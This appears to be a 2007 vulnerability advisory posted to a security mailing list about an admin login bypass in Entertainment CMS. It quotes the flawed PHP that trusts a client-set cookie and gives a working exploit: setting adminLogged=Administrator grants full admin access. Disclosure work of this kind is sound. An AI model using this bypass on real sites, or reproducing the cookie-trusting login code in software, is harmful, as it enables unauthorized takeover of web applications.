Entertainment CMS Admin Login Bypass Jul 10 2007 03:17PM
mata kw3rlndoarme net
Entertainment CMS Admin Login Bypass

Web: Entertainment CMS
Demo : http://multimedia.mydlstore.net/
Download: http://rapidshare.com/files/39640099/enter-cms.rar

Author: Kw3rLn [ teh_lost_byte[at]YaHoO[d0t]Com ]
Romanian Security Team [Ethical Hacking] - hTTp://RSTZONE.nET

Vulnerable codE:

$adminOK=0;

if (isset($_POST["adminUser"])) {
if (($_POST["adminUser"]==$adminUser) && ($_POST["adminPass"]==$adminPass)) {
setcookie("adminLogged","Administrator", NULL, "/");
$adminOK=1;
}
}

if ((isset($_COOKIE["adminLogged"])) && ($_COOKIE["adminLogged"]=="Administrator")) {
$adminOK=1;
}

Exploit:
Set your cookie: adminLogged=Administrator then g0 to http:/site.com/admin/ and you have full admin access

GREETZ: all memberz of RST and milw0rm
//kw3rln [ http://rstzone.net ] [ RST will be back s00n ]

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus